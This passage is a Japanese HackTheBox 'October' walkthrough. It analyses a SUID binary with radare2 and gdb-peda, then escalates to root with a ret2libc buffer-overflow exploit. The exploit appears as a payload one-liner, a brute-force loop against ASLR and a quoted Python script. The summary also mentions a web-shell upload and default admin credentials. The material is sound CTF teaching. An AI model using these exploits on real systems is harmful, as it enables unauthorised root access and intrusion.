BBAgAAAAAAwAFAAAAAAA8ggQIAAAAAAMABgAAAAAAlIIECAAAAAADAAcAAAAAAKSCBAgAAAAAAwAIAAAAAADEggQIAAAAAAMACQAAAAAAzIIECAAAAAADAAoAAAAAAPSCBAgAAAAAAwALAAAAAAAggwQIAAAAAAMADAAAAAAAgIMECAAAAAADAA0AAAAAAESFBAgAAAAAAwAOAAAAAABYhQQIAAAAAAMADwAAAAAAfIUECAAAAAADABAAAAAAAKiFBAgAAAAAAwARAAAAAAAInwQIAAAAAAMAEgAAAAAADJ8ECAAAAAADABMAAAAAABCfBAgAAAAAAwAUAAAAAAAUnwQIAAAAAAMAFQAAAAAA/J8ECAAAAAADABYAAAAAAACgBAgAAAAAAwAXAAAAAAAgoAQIAAAAAAMAGAAAAAAAKKAECAAAAAADABkAAAAAAAAAAAAAAAAAAwAaAAEAAAAAAAAAAAAAAAQA8f8MAAAAEJ8ECAAAAAABABQAGQAAAMCDBAgAAAAAAgANAC4AAADwgwQIAAAAAAIADQBBAAAAMIQECAAAAAACAA0AVwAAACigBAgBAAAAAQAZAGYAAAAMnwQIAAAAAAEAEwCNAAAAUIQECAAAAAACAA0AmQAAAAifBAgAAAAAAQASALgAAAAAAAAAAAAAAAQA8f8BAAAAAAAAAAAAAAAEAPH/wQAAAFSGBAgAAAAAAQARAM8AAAAQnwQIAAAAAAEAFAAAAAAAAAAAAAAAAAAEAPH/2wAAAAyfBAgAAAAAAAASAOwAAAAUnwQIAAAAAAEAFQD1AAAACJ8ECAAAAAAAABIACAEAAACgBAgAAAAAAQAXAB4BAABAhQQIAgAAABIADQAuAQAAAAAAAAAAAAAgAAAASgEAALCDBAgEAAAAEgINAGABAAAgoAQIAAAAACAAGABrAQAAAAAAAAAAAAASAAAAfQEAACigBAgAAAAAEAAYAIQBAABEhQQIAAAAABIADgCKAQAAAAAAAAAAAAASAAAAnAEAACCgBAgAAAAAEAAYAKkBAAAAAAAAAAAAACAAAAC4AQAAAAAAAAAAAAASAAAAyAEAACSgBAgAAAAAEQIYANUBAABchQQIBAAAABEADwDkAQAAAAAAAAAAAAASAAAAAQIAANCEBAhhAAAAEgANABECAAAsoAQIAAAAABAAGQAWAgAAgIMECAAAAAASAA0AHQIAAFiFBAgEAAAAEQAPACQCAAAooAQIAAAAABAAGQAwAgAAfYQECE8AAAASAA0ANQIAAAAAAAAAAAAAIAAAAEkCAAAooAQIAAAAABECGABVAgAAAAAAAAAAAAAgAAAAbwIAAPSCBAgAAAAAEgALAABjcnRzdHVmZi5jAF9fSkNSX0xJU1RfXwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwByZWdpc3Rlcl90bV9jbG9uZXMAX19kb19nbG9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC42NTkxAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBvdnJmbHcuYwBfX0ZSQU1FX0VORF9fAF9fSkNSX0VORF9fAF9faW5pdF9hcnJheV9lbmQAX0RZTkFNSUMAX19pbml0X2FycmF5X3N0YXJ0AF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBfX2xpYmNfY3N1X2ZpbmkAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF9feDg2LmdldF9wY190aHVuay5ieABkYXRhX3N0YXJ0AHByaW50ZkBAR0xJQkNfMi4wAF9lZGF0YQBfZmluaQBzdHJjcHlAQEdMSUJDXzIuMABfX2RhdGFfc3RhcnQAX19nbW9uX3N0YXJ0X18AZXhpdEBAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAF9fbGliY19jc3VfaW5pdABfZW5kAF9zdGFydABfZnBfaHcAX19ic3Nfc3RhcnQAbWFpbgBfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fVE1DX0VORF9fAF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX2luaXQA" | base64 -d > ovrflw
```

## 表層解析
ハッシュ値を算出して破損していないことを確認します。

```
┌──(kali㉿kali)-[~/october]
└─$ rahash2 -amd5 ovrflw 
ovrflw: 0x00000000-0x00001cd0 md5: 0e531949d891fd56a2ead07610cc5ded
```

### Binary info

引数に解析対象の`ovrflw`を指定して、`radare2`を起動します。`iI`コマンド(*Binary info*)でバイナリの情報を調べます。

```
┌──(kali㉿kali)-[~/october]
└─$ r2 ovrflw   
[0x08048380]> iI
arch     x86
baddr    0x8048000
binsz    7377
bintype  elf
bits     32
canary   false
class    ELF32
compiler GCC: (Ubuntu 4.8.4-2ubuntu1~14.04.3) 4.8.4
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true
```

`bintype`、`class`、`os`の各フィールドから、`ovrflw`プログラムがLinuxで動作する32ビットの実行可能な`ELF`ファイルであることを示しています。
`arch`、`bits`、`endian`、`machine`の各フィールドから、そのファイルが`x86`コードでビルドされたことを示しています。
さらに、`lang`フィールドから、ファイルがC言語からコンパイルされたことを示しています。

### インポート
インポートされた関数の情報を表示させます。

```
[0x08048380]> ii
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x08048330 GLOBAL FUNC       printf
2   0x08048340 GLOBAL FUNC       strcpy
3   0x08048350 WEAK   NOTYPE     __gmon_start__
4   0x08048360 GLOBAL FUNC       exit
5   0x08048370 GLOBAL FUNC       __libc_start_main
```

注目すべきは、`strcpy`関数です。`strcpy`関数はコピー元の文字列をそのまま書込むので、コピー先の領域を超えて上書きする危険性（バッファオーバーフローの原因になり得る可能性）があります。

### データセクションにおけるASCII情報

```
[0x08048380]> iz
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000560 0x08048560 26  27   .rodata ascii Syntax: %s <input string>\n
```

## 動的解析
### ファジング（Fuzzing）

`ovrflw`にファズ（fuzz）データ「`A`」を送信してみます。10 bytesステップで確認すると、120 bytesまで送信すると`Segmentation fault (core dumped)`が発生しました。

```
┌──(kali㉿kali)-[~/october]
└─$ chmod +x ovrflw            
                                                                                                
┌──(kali㉿kali)-[~/october]
└─$ ls -al ovrflw
-rwxr-xr-x 1 kali kali 7377 Apr  4 22:36 ovrflw
```

```
┌──(kali㉿kali)-[~/october]
└─$ ./ovrflw AAAAAAAAAA                                                                   139 ⨯
                                                                                                
┌──(kali㉿kali)-[~/october]
└─$ ./ovrflw $(python -c 'print "A"*120')
zsh: segmentation fault  ./ovrflw $(python -c 'print "A"*120')
```

## 静的解析
### gdb-pedaのインストール
デバッガとして「[gdb-peda](https://github.com/longld/peda)」を使用します。

```
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
```

### セキュリティ機構の確認
`checksec`コマンドを使い、`ovrflw`プログラムに実装されているセキュリティ機能について確認します。

![checksec.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/7cdf1f50-f27c-a1b8-99f2-69b6d1635c27.png)

`NXビット`（No eXecute）が有効化されています。
すなわち、バッファ領域は実行できない領域としてフラッグが立てられています。この場合、CPUはNXビットが有効になっているメモリ領域のプログラムを実行せずにエラーを返します。
今後の攻撃戦略を検討する上で重要なポイントの一つです。

### GDBによる実行
`ovrflw`プログラムを`GDB`で開き、実行します。

```
┌──(kali㉿kali)-[~/october]
└─$ gdb ./ovrflw
gdb-peda$ break main
Breakpoint 1 at 0x8048480
gdb-peda$ run
Starting program: /home/kali/october/ovrflw
```

![run.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/12bf3f3f-707d-3fe4-74c5-604527877974.png)

ブレークポイント（`main`関数）まで達すると停止します。
![breakpoint.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/8b3e8a1e-0b15-9929-6fbd-c827c3a9c800.png)

### EIPの制御
`EIP`を上書きする正確な文字数の特定を試みます。必要となるテスト用のパターンを作成します。

```
gdb-peda$ pattern_create 120
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ pset arg 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ pshow arg
arg[1]: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA
```

パターン作成後に実行します。

![pset_run.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/82c7b22e-8596-e0ed-7b7a-cd0d2c557729.png)

ブレークポイントに到達したら、`continue`または`c`を押して続行させます。

![continue.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a7646805-e4bd-6e05-c2d7-f38b8fb43500.png)

`EIP`が`0x41384141`にて上書きされていることが解ります。
`patter_offset`を使用して、正確なバイトカウントを取得します。`112 bytes`であることが判明しました。

```
gdb-peda$ pattern_offset 0x41384141 120
1094205761 found at offset: 112
```

### Offsetの検証
次のパラメータ戦略にて`ovrflw`プログラムを実行します。

- `112 bytes`の`A`（16進コードは`0x41`）でバッファを上書き
- `EIP`の値を`42424242`（`B`の16進コードは`0x42`）で上書き

```
┌──(kali㉿kali)-[~/october]
└─$ gdb ./ovrflw
gdb-peda$ run `python -c 'print "A"*112 + "BBBB"'`
```

`EIP`を`42424242`にて上書きすることに成功したことが確認できます。

```
Stopped reason: SIGSEGV
0x42424242 in ?? ()
```

![offset.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/88e6f9f8-68d0-277f-fb82-3e731fb3101a.png)

## Return-to-libc（ret2libc）
すでに`checksec`コマンドの結果から、`NX`が有効化されていることが判明しています。
このため、シェルコードを流し込むことはできません。
従って、`libc`内に存在している関数を呼び出す「**Return-to-libc**」（ret2libc）による攻撃を実現すべく検討を行います。

「Return-to-libc」では、従来のスタックバッファオーバーフローのように、スタック上の命令に制御を戻すのではなく、特定のダイナミックライブラリ関数に対応するアドレスにプログラムを戻すようにします。
このダイナミックライブラリ関数はスタック上には存在しないため、スタック実行の制限（`NX`）を回避することができます。どのダイナミックライブラリ関数に戻るかは慎重に選択しますが、理想的には次の2つの条件が揃っていることが望ましいです。

1. ほとんどのプログラムに搭載されている、一般的なダイナミックライブラリであること。
2. ライブラリ内の関数は、シェルを起動したり、必要なことができるように、できるだけ柔軟性があること。

### ret2libc攻撃実現に必要な情報

ここからは、`october.htb`側に戻り作業を進めます。

`ovrflw`プログラムにリンクされているライブラリを確認するために、`ldd`コマンドを使用します。

```
$ ldd /usr/local/bin/ovrflw | grep libc
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75ce000)
```

`libc.so.6 `は都合のよいライブラリです。C言語の関数をほぼすべて含んでいます。次にすべきことは、使用したいライブラリ関数のアドレスに実行を誘導するだけです。
今回は、`system()`に引数として`/bin/sh`を与えて実行する（すなわち、シェルを生成する）ことを計画します。

まず、`libc.so.6`の`system`と`exit`のアドレスを`readelf`コマンドにて確認します。

```
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
   139: 00033260    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1443: 00040310    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
```

次に、`/bin/sh`のアドレスを`strings`コマンドにて確認します。
オプションの意図は次のとおりです。

- `-a`：ファイル全体をスキャンする。
- `-t x`：「x（16進数）」を指定して、文字列の前に位置を表示する。

```
$ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/"
 162bac /bin/sh
 164b10 /bin/csh
```

それぞれのアドレスを書き留めます。

| |計算|アドレス|リトルエディアン表記
|:---|:---|:---|:---|
|system|0xb75f8000+0x40310|0xB7638310|\x10\x83\x63\xb7|
|/bin/sh|0xb75f8000+0x162bac|0xB775ABAC|\xac\xab\x75\xb7|
|exit|0xb75f8000+0x33260|0xB762B260|\x60\xb2\x62\xb7|

## エクスプロイトコードの構築

```
$ /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "\x60\xb2\x62\xb7" + "\x10\x83\x63\xb7" + "\xac\xab\x75\xb7"');                                                                           
Segmentation fault (core dumped)
```

「**ASLR（Address Space Layout Randomization）**」が有効になっているため、シェルを取得するまでループで実行します。

```
$ while true; do /usr/local/bin/ovrflw $(python -c 'print "A"*112 + "\x60\xb2\x62\xb7" + "\x10\x83\x63\xb7" + "\xac\xab\x75\xb7"'); done
```

>[Artis3nal Mistakes](https://blog.artis3nal.com/2020-08-14-htb-october-msf/)による、Exploitコードが可読性が高いので紹介しておきます。
>
>
>```exploit.py
>#!/usr/bin/env python
>
>from subprocess import call
>import struct
>
>buffersled = "A"*112
>
>libc = 0xb75f8000
>system = struct.pack('<I', libc + 0x00040310)
>exit = struct.pack('<I', libc + 0x00033260)
>binsh = struct.pack('<I', libc + 0x00162bac)
>
>payload = buffersled + system + exit + binsh
>
>
>i = 0
>while (i < 512):
>    print("Try %s" % i)
>    i += 1
>    ret = call(["/usr/local/bin/ovrflw", payload])
>```

![exploit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/746cf7db-a494-a92a-e4b9-35b06d6cf6ca.png)

```
# cd /root
# ls -l
total 4
-r-------- 1 root root 33 Apr 21  2017 root.txt
# cat root.txt
6bcb{BLOCKED}0318
```

# まとめ
## 一般ユーザのアクセス権取得
- `http-title`ヘッダから`October CMS - Vanilla`が稼働していることを特定しました。
- `OWASP DirBuster`によって`October CMS`のログイン画面を特定しました。
- 管理コンソールのアカウントが初期設定のまま（`admin/admin`）運用されていることを特定しました。
- `October CMS`の脆弱性（[EDB-ID 41936](https://www.exploit-db.com/exploits/41936)）をファイルアップロードフィルターを迂回し、`PHP WebShell`を設置しました。

## 特権昇格
- `SUID (4000)`が付与された`/usr/local/bin/ovrflw`プログラムを特定しました。
- Return-to-libc攻撃によりNX、ASLRを迂回しシェルを獲得しました。

# 参考情報
## Walkthrough
- 0xdf hacks stuff 「[HTB: October](https://0xdf.gitlab.io/2019/03/26/htb-october.html)」
- Teck_k2 「[October(HTB)](https://teckk2.github.io/writeup/2018/02/23/October.html)」
- Artis3nal Mistakes 「[Buffer Overflow ASLR Bypass on HackTheBox October - with Metasploit](https://blog.artis3nal.com/2020-08-14-htb-october-msf/)」

## Return-to-libc
- 清水祐太郎, 竹迫良範, 新穂隼人, 長谷川千広, 廣田一貴, 保要隆明, 美濃圭佑, 三村聡志, 森田浩平, 八木橋優, 渡部裕, SECCON実行委員会 『[セキュリティコンテストのためのCTF問題集](https://www.amazon.co.jp/dp/4839962138/)』, マイナビ出版 (2017/7/28)
- Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte 『[The Shellcoder's Handbook: Discovering and Exploiting Security Holes](https://www.amazon.co.jp/dp/047008023X/)』
- Chihiro 「[Return to libc](https://owlinux1000.github.io/ARM_Exploit/chapter03/)」